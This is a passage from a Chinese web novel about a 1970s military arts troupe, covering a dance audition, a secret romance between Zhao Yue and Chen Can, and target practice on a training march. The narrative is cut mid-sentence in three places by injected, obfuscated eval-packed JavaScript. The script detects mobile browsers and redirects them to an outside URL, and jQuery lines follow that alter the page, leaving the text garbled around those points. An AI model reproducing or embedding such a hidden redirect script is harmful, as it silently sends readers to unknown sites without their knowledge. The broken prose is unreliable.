她习惯性地顿了顿,目光下意识地落在萧穗子身上,话到嘴边几乎要脱口而出:“我看还是萧穗子上。”
可话音未落,分队长的视线却不经意间扫过队列另一侧。
何小萍站得笔直,晨光落在她脸上,映出一双沉静坚定的眼睛。
这一世的何小萍,没经历过那些无端的排挤,心态平和沉稳,练功时的刻苦全团有目共睹,再加上继父的革干身份,背景干净又稳妥,怎么看都很合适。
分队长心里快速盘算了一遍,直接把多年的主舞萧穗子换下来,势必会引来不少闲话,于情于理都不妥当。
她略一斟酌,话锋陡然一转,提高了音量:“这次慰问演出规格不低,主舞人选绝不能草率定下来。我看这样,今天女生队全员都上场,把演出曲目里的核心段落跳一遍,咱们现场公开选拔,谁最契合,谁就上!”
这话一出,排练厅里瞬间泛起一阵低低的骚动。
“啊?还要公开选啊?”小芭蕾手里转着舞鞋,小声跟身边的卓玛嘀咕,“之前不一直是穗子姐吗?”
卓玛靠在把杆上,目光瞟向何小萍,压低声音:“没看出来吗?何小萍这段时间练得那么狠,分队长这是要给新人机会了。”
“穗子姐可是老主舞了,底子摆在那儿,我看谁也抢不走。”有队员替萧穗子抱不平,声音不大,却足够周围人听见。
萧穗子站在队列前排,指尖轻轻攥了攥练功服的衣角,脸上依旧挂着从容的笑,心里却泛起一丝不易察觉的波澜。
分队长没理会队员们的窃窃私语,转头朝乐队方向扬声喊:“老廖!带你的人先歇十分钟,正好给姑娘们搭个伴奏,也当是你们的评委团了!”
指挥老廖放下手里的指挥棒,笑着应道:“得令!”
可乐队的小伙子、小姑娘哪肯真去休息。
陈灿将小号往怀里一抱,率先靠在排练场边缘的柱子上,目光一瞬不瞬地锁在兆悦身上。
郝淑雯合上自己的手风琴,搬了张椅子坐在最前排。
其他乐手也纷纷围了过来,七嘴八舌地起哄:“分队长放心,我们肯定秉公评判!”“谁跳得好,咱们就给谁鼓掌!”
选拔正式开始。
70. 争锋
第一个上场的是小芭蕾,她攥着舞鞋边缘,深吸一口气站到场中央。
音乐响起,她的脚尖点地轻盈,旋转的弧度也够漂亮,可到了需要发力的托举动作时,胳膊明显发飘,落地时还踉跄了半步。
跳完她自己先红了脸,冲着分队长和众人摆摆手,一溜烟跑回队列,小声嘟囔:“没发挥好。”
紧接着是卓玛。
她天生带着股热乎劲儿,音乐一响,腰胯的摆动就带着十足的活力,可越是奔放,越容易失了分寸。
几个快速的踢腿动作没卡准节奏,抬手的高度也忽高忽低,技巧上的粗糙藏都藏不住。
分队长看着,手里的笔在本子上顿了顿,没说话。
卓玛跳完,大大方方地鞠了一躬,走回位置时还朝身边人挤了挤眼睛。
后面又陆续上来几个队员,有的动作中规中矩,挑不出错也记不住亮点;有的倒是敢做高难度,却因为基本功不扎实,要么节奏乱了,要么姿态走了形。
人群里的议论声渐渐淡了,大家都看得出来,这些人里,没人能真正跟萧穗子、何小萍抗衡。
“萧穗子,上!”分队长的声音打破了短暂的安静。
萧穗子松开攥着衣角的手,理了理练功服的下摆,缓步走到场中央。
她站定的瞬间,排练厅里的气氛都变了——那是常年站在主舞位置上养出来的气场,沉稳,从容,带着一股了然于胸的笃定。
老廖朝乐队递了个眼色,伴奏声缓缓响起。
萧穗子的第一个动作就干净利落,手臂舒展的角度分毫不差,脚尖绷直的线条像用尺子量过一般。
旋转时,她的重心压得极低,裙摆划出圆润的弧线,每一次转身都精准地踩在节拍上;跳跃时,腾空的高度足够,落地时却轻得像一片羽毛,没有半点声响。
十二岁进文工团的底子,多年的舞台经验,全在这一套动作里展现得淋漓尽致。
文工团的舞蹈向来强调精气神,挺拔、昂扬、简洁直白,萧穗子把这一点做到了极致。
最后一个收尾动作,她双臂高高扬起,脊背挺得笔直,目光望向远方,带着恰到好处的情感张力。
音乐落下的瞬间,排练厅里立刻爆发出一阵热烈的掌声。
“还是穗子姐!这功底,没话说!”有人忍不住高声喊了一句。
“主舞就该是她的,别人比不了!”旁边的队员跟着附和。
萧穗子微微喘着气,额角沁出细汗,她朝大家鞠了一躬,目光扫过分队长时,对方朝她点了点头,那是认可,却少了几分以往的笃定。
萧穗子心里微微一沉,走回队列时,特意看了一眼站在不远处的何小萍。
“何小萍,轮到你了。”
何小萍应声而出,她的步伐不快,却很稳。站在场地中央,她没有多余的动作,只是静静等着音乐响起。
晨光透过窗缝落在她身上,勾勒出她挺拔的身形,那双眼睛里,没有紧张,只有沉静的专注。
伴奏声起,何小萍动了。
她的动作没有萧穗子的灵动大气,却胜在极致的规整与扎实。
每一个抬手,每一次屈膝,每一个旋转,都精准得像复刻了教材里的标准动作。
她的力道控制得极好,该轻时如春风拂柳,该重时如磐石落地,整套动作跳下来,行云流水,没有一丝卡顿,没有半点瑕疵。
她同样把文工团要求的精气神展现得无懈可击,沉稳、踏实、一丝不苟。
最打动人的,是她身上那股韧劲儿。
那是无数个清晨和深夜,在练功房里一遍遍打磨出来的坚持,是汗水泡出来的底气。
她跳的不是技巧,是认真,是拼尽全力的模样。
音乐收尾,何小萍稳稳站定,呼吸比萧穗子稍重,却依旧保持着挺拔的姿态,目光平静地看着分队长。
“好!好!”分队长忍不住拍了拍手,声音里带着真切的赞赏,“小萍这舞,跳得稳,跳得实!挑不出毛病!”
队列里的议论声一下子变得细碎又复杂。
“何小萍进步也太大了吧……”
“这下难选了,穗子老练,何小萍扎实……”
郝淑雯坐在椅子上,手搭在手风琴上,眉头微挑,没说话。
陈灿则依旧盯着兆悦,只是在何小萍跳完时,轻轻点了点头——他也看得出来,何小萍确实配得上主舞的位置。
高手过招,到了萧穗子与何小萍这一层,技巧、节奏、气场几乎已经拉满,难分伯仲。
胜负,只在一丝一毫之间。
就在所有人都以为,分队长会在两人之间做选择时,她的目光缓缓扫过队列,最终停在了兆悦身上。
“兆悦,你来。”
这三个字,像一颗石子投进平静的湖面,排练厅里瞬间安静下来。
所有人的目光都齐刷刷地投向兆悦。
小芭蕾和卓玛瞪大了眼睛,萧穗子的目光带着好奇,何小萍的眼神里满是期待,郝淑雯则挑了挑眉,带着几分审视。
陈灿握着小号的手指骤然收紧,指节泛白,眼底的期待几乎要溢出来。
兆悦的心跳微微加快,却很快被她压了下去。她抬手,轻轻擦了擦额角的薄汗,缓步走出队列。
这些天,她总是等所有人都走了,才偷偷溜进练功房。
窗外的梧桐叶落了又落,月光从窗缝里照进来,映着她一遍遍重复动作的身影。
而她心里藏着别人不知道的底气——在现代,她曾跟着一位极有名望的舞蹈家系统学习,那位老师从不只教动作,更教情感、层次、呼吸与故事。
文工团的舞蹈,追求的是昂扬、直白、统一的精气神;而她学的,是藏在动作里的情绪起伏、细腻转折、收放之间的温度。
兆悦的理解能力本就极强,那些细腻到毫厘的表达,她早已刻进骨子里。
她站在场地中央,对着分队长点了点头,示意自己准备好了。
老廖一抬手,伴奏声再次响起。
音乐起势的刹那,兆悦整个人便沉了进去。
她的动作依旧标准挺拔,不输萧穗子的大气,也不输何小萍的扎实,可不一样的东西,在第一秒就流露了出来。
她的手臂抬起时,不是僵硬的昂扬,而是带着一丝由内而外的舒展,像情绪缓缓铺开。
旋转时,眼神随动作轻轻流转,从沉静到明亮,藏着层次分明的变化;跳跃时,力道不是一味的刚硬,而是柔中带刚,落下来时又带着轻轻的收束,像一声无声的叹息。
没有夸张的表情,没有刻意的煽情,可每一个细微的转折里,都有情绪的流动。
温柔处细腻,坚定处有力量,舒展时开阔,收回时克制。
这正是萧穗子与何小萍所没有的——在极致标准的技巧之上,多了一层动人的情感呼吸。
高手过招,差的就是这一点点“活”的东西。
文工团的舞蹈是画,工整、漂亮、有力;而兆悦一舞,画成了活的。
最后一个动作,她双臂轻缓环抱,单膝稳稳落地,脊背挺直,目光沉静却有光,像把一整段未说出口的心事,都藏进了舞姿里。
音乐落下。
整个排练厅,静得能听见彼此的呼吸。
两秒之后,掌声轰然炸开,比之前任何一次都要响亮、都要震撼。
“我的天……这是什么感觉?太抓人了!”
“同样的动作,怎么从她跳出来,就完全不一样了?”
“我感觉她跳的不只是舞,是有情绪在里面哎。”
陈灿靠在柱子上,望着场中备受瞩目的兆悦,唇角不自觉地弯起,刚刚他第一个鼓掌,才不管朱克在这叨叨什么。
萧穗子怔怔地看着场中,心底那点失落瞬间被惊艳取代。她终于明白,自己和何小萍已经做到了极致,可兆悦胜在多
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309152|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了一层灵魂。
何小萍也看得眼睛发亮,她由衷地佩服——同样是苦练,兆悦的舞里,多了一份说不出的动人。
郝淑雯坐在原地,指尖无意识地敲击着手风琴,心里五味杂陈。她不得不承认,这一次,兆悦是真的赢了。
分队长站在原地,久久没有说话,眼里却慢慢浮起笑意。
她见过无数标准、工整、精气神十足的舞蹈,可今天,她第一次被一支舞真正打动。
这反而让分队长犯难了。
她原本铁了心要定何小萍,前大半年兆悦的心思确实没全放在舞蹈上,或许是两头兼顾精力有限,或许是家境优渥本就少了些破釜沉舟的迫切,所以最初的名单里,根本没有兆悦的位置。
可眼下这局面,显然超出了她的预料。
思考片刻,分队长抬起头,语气沉稳地宣布:“经研究决定,本次省军区慰问演出,主舞A角由何小萍担任,B角由萧穗子担任。”
话音落地,排练厅里瞬间一片哗然。
“怎么会这样?”
“兆悦明明跳得最好啊……”
“至少也该是个B角吧?”
议论声此起彼伏,郝淑雯抱着手风琴,挑着眉没说话;萧穗子脸上掠过一丝错愕,随即又恢复了平静。
唯有分队长,目光温和地看向兆悦,笑意里带着几分深意。
兆悦迎着那道目光,心里瞬间透亮。她的初衷从来不是争抢,不过是想借这个机会,证明自己这些日子的汗水没有白流。
分队长要顾的是大局——何小萍练功最刻苦、表现最稳定,萧穗子是多年的老主舞,无论换下哪一个,都容易让人觉得是被比下去、丢了面子。
反倒让她这个表现最突出的人不占名额,才能稳住所有人,既不会伤了老队员的心,也能顺理成章地给新人机会。
陈灿一看兆悦明明跳得最好,却什么名额都没捞着,还一脸平静地站在那里,心口猛地一紧。他知道兆悦性子稳,可越是这样,他越替她委屈。
这时队伍里已经有人忍不住小声嘀咕:“这也不太公平吧……”
话音刚落,陈灿才跟着轻轻开口,语气平静克制,完全没提兆悦的名字,只像是跟着大家一起表达疑惑:“分队长,大家心里都觉得,这次的安排……是不是有点不太公平?”
话说得极浅、极淡,听上去只是普通队员的附和,没有半点出格,也看不出半分私情。
分队长看了他一眼,心里自然有数,只平静摆了摆手:“好了,此事已定,不用再多说。”
她压下场上的议论,宣布排练暂时到此,让其他人先回去,只叫了兆悦单独到办公室说话。
到了办公室,分队长关上门,语气立刻温和下来:“兆悦,我知道你今天跳得最好,也知道外面人都替你委屈。
队里这么安排,不是你不够好,恰恰是你太突出了。穗子是老主舞,小萍是新人,我得顾着全团的平稳,你能懂,我心里很感激。”
兆悦轻轻点头:“分队长,我真的不委屈。我这段时间拼命加练,本来就不是为了争一个主舞,只是想证明,我认真起来,一样可以做到最好。现在我做到了,就够了。”
分队长听得心里一软,拍了拍她的肩:“你这孩子,通透、懂事,又有才华,将来肯定不止于此。
这次慰问演出的名额我这么安排,但军区马上要来文艺汇演,我已经打算给你报一个独舞,那才是完全属于你一个人的舞台,谁也抢不走。”
兆悦眼睛一亮,真心实意地鞠了一躬:“谢谢分队长。”
后来分队长和宁政委闲聊时,忍不住笑着提起这事:“今天倒是奇了,陈灿那小子,平时对女队员选拔的事从不上心,今天居然也跟着一起开口说话了。”
宁政委端着茶缸,淡淡一笑,语气意味深长:“这有什么奇怪的,优秀的年轻人凑在一块儿,自然会互相吸引,正常得很。”
71. 教学
兆悦这阵子明显感觉到,自己的舞技实实在在提上去了。
每一次发力、每一次呼吸、每一段情绪的表达,都比从前稳得多、也灵得多。
努力有了回响,日子过得充实,心里那份踏实的价值感,比什么都让人安心。
今天她特意给自己放了短假,不再加练。
一来是歇歇身子,二来,也是想好好补偿补偿陈灿——白天他在众人面前,明里暗里都是在替她说话,那份藏不住的维护,她全都看在眼里、记在心上。
就当是,给他的小奖励。
两人悄悄约好,等晚上人都走光了,在排练厅见面。
夜色一沉,练功房里空荡荡的,兆悦轻手轻脚绕到后台,陈灿早就在那儿等着她。
幕布一遮,外面的灯光透不进来,只剩一点微弱的月光,把小小的角落裹得安安静静。
地方本就不大,两人一靠近,呼吸都轻轻缠在一起。
兆悦先轻轻开口,带着点嗔怪的笑意:“哎呀,你今天怎么这么敢呀?”
陈灿喉结动了动,目光落在她脸上,语气又直又认真:“看到你受委屈了,我还能想那么多吗?”
兆悦心里一软,伸手轻轻碰了他一下,撒娇似的小声说:“哎呀,我也没有受委屈啦……”
她抬眼望着他,眼底亮晶晶的,语气软了下来:“但是看到你这么为我着想,我就特别开心。”
四周静得只剩下彼此的心跳,他身上淡淡的皂角香裹过来,两人越贴越近,鼻尖轻轻一碰,眼神黏得厉害,气氛正浓、亲密得快要贴在一起时——“咔嗒。”
排练厅的前门被轻轻推开。
两人吓得瞬间屏住呼吸,几乎是本能地往幕布深处缩去,紧紧贴在一起,一动不敢动,连呼吸都压到最轻。
进来的是何小萍。
她抱着练功服,轻手轻脚走到场地中央,显然是想来加练。她心里一直记着白天的事,总觉得自己占了兆悦的机会,只想多练一会儿,把舞跳得再好一点,不辜负分队长,更不辜负悦儿姐。
她完全没料到,后台幕布里还藏着两个人。
兆悦和陈灿紧贴着墙壁,身体挨得密不透风,心跳快得要撞出来,却连一丝声音都不敢发。
就在这时,门外又传来一阵轻悄悄的脚步声——是杭春明。
他一看排练厅亮着灯,又知道今晚是兆悦和陈灿约好的时间,瞬间就反应过来:这俩人铁定被堵在里面了!
杭春明急得在门口转了半圈,绞尽脑汁想辙,最后只能硬着头皮探进头,对着何小萍喊:“小萍!小萍,你出来一下!”
何小萍一愣,回头看他:“怎么了?”
“我……我找你有点事,”杭春明硬着头皮瞎编,“陪我出去走一走、散散步,正好说点事。”
何小萍虽然觉得有点奇怪,这时间点散什么步,但转念一想,杭春明平时和兆悦关系那么好,找自己肯定是有正经事,便没多想,拿起搭在一边的外套,跟着杭春明匆匆离开了排练厅。
直到脚步声彻底走远,厅里重新恢复安静,两人才敢轻轻舒出一口气,从幕布后面钻出来。
又是尴尬又是好笑,两人对视一眼,都忍不住低低笑了出来,脸上还带着没散的红晕。
陈灿垮了下嘴角,有点委屈又有点不甘心:“这下好了,今晚算是彻底泡汤了……”
兆悦看着他那副模样,忍不住弯眼笑了,轻轻朝他招了招手:“也不算呀……你过来,我跟你说个秘密。”
陈灿一愣,当真凑了过去,一脸认真地等着听。
下一秒,兆悦微微踮脚,飞快地在他脸颊上轻轻亲了一下。
软乎乎、轻悄悄的一下,一碰即分。
陈灿整个人都僵在原地,眼睛都瞪圆了。
兆悦已经红着脸往后退了两步,转身就小跑着往门口去,跑到一半忽然停下,回头冲他弯眼一笑,声音甜甜的:“这样……就不算白来啦。”
说完,便一溜烟跑了出去。
陈灿站在空荡荡的排练厅里,指尖轻轻碰了碰被她亲过的地方,心跳炸得一塌糊涂,嘴角却抑制不住地、一点点扬到了耳边。
今晚哪里是泡汤。
这段日子天天训练、忙里忙外,两人连好好说句话、靠近一点都难,好不容易才约上一次,本以为今晚要彻底落空。
可现在,他被她这样亲了一下。
这么久的盼啊等啊,挨都挨不上一下,今天能换来这么轻轻一吻,哪里是泡汤,分明是赚翻了。
自那夜排练厅险些被撞破之后,兆悦和陈灿都收敛了许多,再也不敢像从前那样胆大张扬。
文工团里夜里加练的人渐渐多了,巡查的干事也时常走动,两人能单独相处的时间少得可怜,即便见了面,也只能在人群里悄悄递个眼神,连多说一句话都要小心翼翼。
日子一晃就到了军区慰问演出,兆悦的独舞果然不负众望。
音乐一起,她一抬手、一蹙眉、一舒展,都藏着细腻投入的情绪,台下掌声雷动,连军区领导都连连点头。
分队长看着她,满眼都是藏不住的骄傲。
演出落幕,深秋便悄然而至。
风一天比一天凉,树叶落了一地,整个文工团都浸在一片安静平淡里。
兆悦有时会恍惚,觉得两人之间好像淡了下来。没有从前的热烈,没有偷偷约会的心跳,只剩下远远相望的克制,像一杯放凉了的水。
可她不知道,这份“淡”,在陈灿那里,根本是翻来覆去的煎熬。
他每天就只能看着她,近在眼前,远在天边,想碰不敢碰,想靠近不敢靠近,连一句贴心话都只能压在心底。
日子越平静,他心里越痒,只盼着能有一个机会,好好把人搂在身边。
天冷之后,兆悦更不愿穿着单薄的练功服在排练厅里出汗吹风,生怕感冒,索性重新回到了乐队。
这可把陈灿高兴坏了。
两人又天天待在一块儿,休息时能并肩坐着,能随口说上两句,能借着递乐谱、调乐器的机会悄悄碰一下手指。
可越是这样能看见、能说话、却不能亲近的距离,越磨人。
若即若离,忽远忽近,一句话能甜半天,一个眼神能乱心曲,比从前大大方方相处时,还要勾人。
换作旁日,拉练打靶这类活动陈灿从不会多上心。
可今年一听说要去拉练,他整个人立刻来了兴致——终于能名正言顺地靠近兆悦,和她安安静静待一会儿,哪怕只是悄悄亲近几分,也足够让他期待。
刚到靶场,众人各自散开准备,陈灿很自然地走到兆悦身边,顺手接过她手里的枪,语气随意又理所应当:“我带你练,你第一次碰这个,我教你。”
他说得坦荡,心里的小算盘却打得噼啪响。
他枪打得本就利落,正好能在她面前露一手,展展
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309153|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自己的风采,更重要的是——教打枪本就离得近,这下总算能光明正大地挨着她了。
兆悦站在一旁,哭笑不得。
就算在军区大院长大,以前她爸兆国斌催她碰枪,她都躲得远远的,对打枪一窍不通,连枪该怎么举都不知道。
陈灿要教她,她自然没法拒绝。
“手抬稳,别晃。”
陈灿走到她身后,声音压得低低的,带着点笑意。
他先轻轻扶着她的手腕,帮她把枪托稳在肩窝,指尖不经意擦过她的衣袖,两人都轻轻顿了一下。
“我……我握不住啊,太重了。”兆悦小声嘟囔,眉头轻轻皱着,一副手足无措的样子。
“我帮你。”
陈灿干脆从身后轻轻环住她,一手稳稳扣住她握枪的手,一手扶在她的腰侧帮她稳住重心。
呼吸轻轻落在她的发顶,距离近得能闻到彼此身上的气息。
“眼睛看缺口,对准靶心……对,就这样,别动。”
他的声音又低又柔,带着独有的磁性,兆悦反倒耳朵一热,整个人都僵了大半,哪里还顾得上看靶,心思早飘到身后那个人身上去了。
不远处,萧穗子把这一幕尽收眼底。
她指尖微微攥紧,心里泛起一阵细细密密的酸楚。
她不知道两人早已在一起许久,只当是两人关系亲近了很多,不像前段时间那样剑拔弩张了。
可暗恋里的人,见心上人对旁人这般耐心温柔,哪有不难受的。
郝淑雯一眼就看穿了她的心思,大大咧咧揽过她的肩膀,往远处拽:“看什么看,走,我教你!咱不比他们差!”
她把萧穗子拉得远远的,反倒是给那两个人留出空间。
靶场另一角,只剩下兆悦和陈灿。
“你故意的吧?”兆悦偏过头,小声嗔他,眼底却全是笑意。
“故意什么?”陈灿装傻,指尖轻轻蹭了一下她的手背,动作快得像错觉,“我是怕你打不准,被教官说。”
“我看你是故意想占我便宜。”
“那你给不给占?”陈灿压低声音,语气里带着点坏笑,气息轻轻扫过她的脸颊。
兆悦脸一红,赶紧回头盯紧靶子:“不理你,我要开枪了。”
“别怕,我陪着你。”
他贴得更近了些,掌心稳稳包住她的手,一起扣下扳机。
枪声响起的瞬间,两人都轻轻笑了。
风掠过树梢,阳光落在肩头,所有克制的想念,在这一刻,全都有了着落。
到了晚上,陈灿早没了当初那副呆头呆脑的样子。
有过前几次偷偷约会的经验,他心里早盘算好了,就想找个借口,把兆悦拉到后院那片安静的小树林里,好好说说话、亲近亲近。
可兆悦这回偏不配合。
她现在是真懒得动,累了一天,只想往床上一瘫,安安稳稳歇着。
俩人都在一起这么久了,早就过了那种非要躲躲藏藏、拼命找刺激的暧昧拉扯期,她现在只觉得,怎么舒服怎么来,哪还非得大晚上往小树林跑。
陈灿却是头一回正经谈恋爱,加上这段时间一直若即若离,能看上一眼、碰一下手都算难得,心里早就想得不行。
如今好不容易盼到晚上,人就在眼前,却被一句“懒得动”挡了回来,整个人都被磨得抓心挠肝,又不好硬拉,只能在一旁眼巴巴地耗着,别提多煎熬了。
72. 牵手
到了早上,该陈灿吹起床号的时候,他心里又悄悄动了念头。
上次来这儿,兆悦一大早就跑去看日出、感受大自然,天不亮就往外跑。
他心里隐隐盼着,这一回,她会不会也早早起来了?
这么一想,他先没去拿号,反倒先往女生帐篷那边绕了一圈,想找找兆悦的身影。
刚走到附近,没看见兆悦,倒是碰上了萧穗子。
陈灿脑子里只顾着找兆悦,哪还想得起来去年这个时候,萧穗子也这么早等在门口。他只是随口一问,语气平常:“怎么起这么早?她们都起了吗?”
萧穗子腼腆的笑了笑,语气温温的:“没有,其他人还在休息呢。我想出来练会儿早功。”
一听这话,陈灿心里就有数了——兆悦那懒性子,肯定还缩在被窝里睡懒觉呢。
他顿时歇了出去找人的心思,点点头,转身就准备回自己帐篷。
萧穗子难得能跟他碰上,想多跟他说两句话,连忙开口:“你不是要吹起床号吗?”
陈灿头也没回,语气随意得很:“这天这么冷,到点了再来吹也不迟。”
说完,就径直走了。
萧穗子站在原地,轻轻抿了抿唇,心里那点刚冒出来的暖意,又悄悄淡了下去。其实萧穗子不是没有暗自猜想过。
和电影里那个对她若即若离的陈灿不一样,这一世的陈灿,自始至终没对她有过半点逾矩的举动,连一丝多余的温柔都没有。
她心里早就清楚,对方对自己半点意思都没有。
可越是这样,她越忍不住好奇——他究竟会喜欢什么样的?是不是早有了心仪的人?
她把目光悄悄在身边几个人身上扫过,一个个比对。
最先被她怀疑的,是林丁丁。
林丁丁最会讨男兵喜欢,向来和男兵走得近,在感情里游刃有余,是队里最容易和人传出暧昧的那一个。可这个念头刚冒出来,就被萧穗子自己掐灭了。
陈灿那人看着玩世不恭、不可一世,对林丁丁却向来冷淡,话都没多说过几句,在她印象里,两人顶多算普通战友,连熟都算不上。
那还有谁?
她很快想到了郝淑雯。
两人同属乐队,平日里最常斗嘴,互动也最多,明眼人都能看出来来往频繁。萧穗子自然而然把怀疑落在了郝淑雯身上。
这一世的她,没有上一世的笃定,陈灿从未给过她半分关心、偏爱或是示好,她更加会抱着警惕和试探,一点点去猜。
思来想去,她也顺带闪过兆悦的影子。
尤其是前不久靶场上,陈灿手把手教兆悦打枪的那一幕,她看得清清楚楚。
可转念一想,她又立刻否定了这个可能。
在所有人眼里,兆悦和闫展博才是最该凑成一对的。两人认识没多久就格外有话题,默契十足,这大半年来,也是闫展博和兆悦走得最近,跟旁人都只是普通关系。
大家都默认他们俩似乎是郎有情、妾有意。
要说陈灿喜欢兆悦,也显得比较牵强,因为两个人平时也没有过多的接触和互动。
两人看着淡淡的,远不如郝淑雯和陈灿那样吵吵闹闹、你来我往——就算现在斗嘴少了,大多也是郝淑雯主动说,陈灿冷淡地回两句,也比和兆悦那副平静疏远的样子要亲近得多。
思来想去,萧穗子心里最怀疑、也最觉得有可能的,依旧是郝淑雯。
可一旦有了这个想法,萧穗子也不由得一遍遍去审视郝淑雯的行为。
她清清楚楚记得,一九七四年的夏天,何小萍刚来文工团,郝淑雯就跟自己提过,说早就看出来她喜欢陈灿。
那时候萧穗子没敢承认,可郝淑雯既然明明猜出了她这份藏在心底的暗恋,为什么还天天跟陈灿走得那么近,话说得不清不楚,半点距离都不避?
明明知道她的心意,却依旧那样毫无顾忌地靠近,这让萧穗子心里像堵了一团乱麻,那点委屈和不服气,一旦冒了头,就再也压不回去。
往日里的温和淡了不少,日常相处时,难免会忍不住刺上两句。
拉练第三天,轮到她们去炊事班帮厨。
郝淑雯向来习惯了拿主意,站在灶台边,自然而然端着架子,指挥来指挥去。
萧穗子本就心里憋着气,听着听着越发不服气,手里的汤勺“当”地一磕锅沿,冷声道:“要是你行,你来干。”
郝淑雯被她这突如其来的火气弄得一愣,完全不知道萧穗子心里那番弯弯绕绕,只觉得她莫名其妙冲自己发火。
她哪里受得了这个,当即就沉下脸怼了回去。
眼看两人就要真吵起来,林丁丁连忙凑上来打圆场,小芭蕾、卓玛几人也跟着围过来劝。
只是劝来劝去,话里话外都偏着郝淑雯。
在她们眼里,郝淑雯出身好、性子强、嘴巴厉害、心思也利落,是得罪不起、日后也用得上的人。
反观萧穗子,一向温和软气,看着好说话,众人便下意识觉得,该退让的是她。
萧穗子最后还是忍了下去。
毕竟郝淑雯有个当军长的父亲,而自己的爸爸还在被批斗、劳改。
这么多年,她能在文工团安安稳稳待下来,有几分人缘,还能当上主舞,靠的就是这套生存之道——不站队、不结仇、不轻易与人结怨。
这一次,她也一样,选择把火气硬生生咽了回去。
但忍了,不代表她心里就这么算了。那些委屈、酸涩、不甘,全都悄悄沉在了心底,没那么容易抹平。
而另一边的陈灿,压根不知道炊事班那场争吵,根源全在自己身上。
他满脑子就一件事——这个闫展博到底是个什么人物?
为什么兆悦就那么愿意跟他待在一块儿,那么聊得来?
这会儿,陈灿远远看着,兆悦正和闫展博在一旁投弹玩,说说笑笑,气氛轻松又自然。
他越看,心里越不是滋味,搅得乱糟糟的,全是没处说的别扭。可陈灿不知道的是,兆悦和闫展博压根就不是他想的那回事。
闫展博哪里是在陪她投弹,不过是站在一旁,盯着兆悦啧啧叹气:“我说你怎么能这么白啊?你看我都晒黑一圈了。”
兆悦无语地瞥
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309154|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他一眼:“太阳出来你非要顶着晒,我能有什么办法。”
“我不管,”闫展博垮着脸,“我必须得白回来,再黑下去就丑了。”
兆悦无奈地在心里叹气——这老嫂子心态,真是拿他没办法。
这事刚翻篇,陈灿那边可就不打算放过兆悦了。
这天晚上,兆悦想偷懒赖床的念头刚冒出来,就被陈灿软磨硬泡,缠得半点辙都没有。
他甚至还拉上杭春明帮忙说情,一口一个难得出来拉练、就这一次,死活要把人约去小树林。
兆悦被缠得没脾气,想想也是难得,终究还是点头答应了。夜晚的星空格外明亮,银辉洒下来,刚好能照亮彼此的脸庞。
兆悦侧头看了看陈灿的侧脸,心里偷偷笑他,这人还真是一贯的心急。
可没想到,陈灿只是轻轻牵起她的手,攥得稳稳的,拉着她慢慢走在小路上。
没有刻意的靠近,也没有急切的亲昵,就只是安安静静地走着。
兆悦心里一软。
虽说两人一有机会便会靠近相伴,可这样安安静静牵手散步,反倒多了一份干净纯粹的美好。
看着陈灿的侧脸,高大挺拔,眉目英俊,兆悦忽然想起了一首歌——《情非得已》。
她其实一直都在刻意克制对他的感情。
她清楚他身上的缺点与现实:从电影里的结局来看,他太过理性逐利,也曾冷眼旁观过对何小萍的欺凌,对于未来婚姻和仕途,更倾向选择那条最省力快捷的路。
可即便如此,他对她,确确实实好得挑不出半分错处。
哪怕她一遍遍压抑、克制,洗脑自己要保持距离、收起真心。
此时此刻望着他,脑海里还是不受控制地浮出那句歌词:一双迷人的眼睛,在我脑海里,你的身影挥散不去。握你的双手感觉你的温柔……
心动这件事,终究是情非得已。
她被他牵着手,迎着晚风,轻轻哼唱起来:
“只怕我自己会爱上你,不敢让自己靠得太近,怕我没什么能够给你,爱你也需要很大的勇气……”
声音轻得像擦过心上的风。
陈灿一直安静听着。
起初只觉得旋律好听,等听清歌词,瞬间就明白了她藏在歌声里的所有的心境。
他没说话,只是掌心微微收紧,将她的手握得更紧。
心,被这一段柔软轻盈的哼唱,轻轻撞得发烫。
陈灿低头看她,轻声问:“这是什么歌?”
兆悦回过神,笑着糊弄过去:“以前大院里一个搞音乐的人唱的,我也不知道叫什么。”
陈灿不疑有他,只是握着她的手,沉默了一会儿,还是没忍住,假装不经意的问起了闫展博。
兆悦一看他那副明明在意又装淡定的样子,心里又软又好笑。
但她自然不能说实话,只轻轻开口,给他吃了颗定心丸:“你放心好了,我就算跟何小萍凑一块儿,都不会跟闫展博有什么的。”
这话一出口,陈灿当场就笑了,紧绷了一天的脸色终于彻底松开来,眼底都染满了笑意。
73. 火锅
后面两天,兆悦是真迷上了打靶。
她天赋高得惊人,其实是因为在现实里常玩这类射击游戏,手感本来就熟,自然越打越准。
陈灿都没想到她上手这么快,看向她的眼神里全是藏不住的欣赏,一有机会就低声夸她。
可兆悦平时听惯了夸奖,只淡淡一笑,没太放在心上。
